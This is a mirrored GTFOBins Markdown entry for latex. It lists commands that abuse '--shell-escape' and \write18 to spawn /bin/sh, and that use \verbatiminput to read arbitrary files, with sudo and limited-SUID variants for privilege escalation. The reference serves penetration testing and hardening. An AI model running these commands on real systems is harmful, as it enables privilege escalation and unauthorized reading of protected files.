mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
22 lines
899 B
Markdown
22 lines
899 B
Markdown
---
|
|
functions:
|
|
shell:
|
|
- code: |
|
|
latex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
|
|
file-read:
|
|
- description: The read file will be part of the output.
|
|
code: |
|
|
latex '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{file_to_read}\end{document}'
|
|
strings article.dvi
|
|
sudo:
|
|
- description: The read file will be part of the output.
|
|
code: |
|
|
sudo latex '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{file_to_read}\end{document}'
|
|
strings article.dvi
|
|
- code: |
|
|
sudo latex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
|
|
limited-suid:
|
|
- code: |
|
|
./latex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
|
|
---
|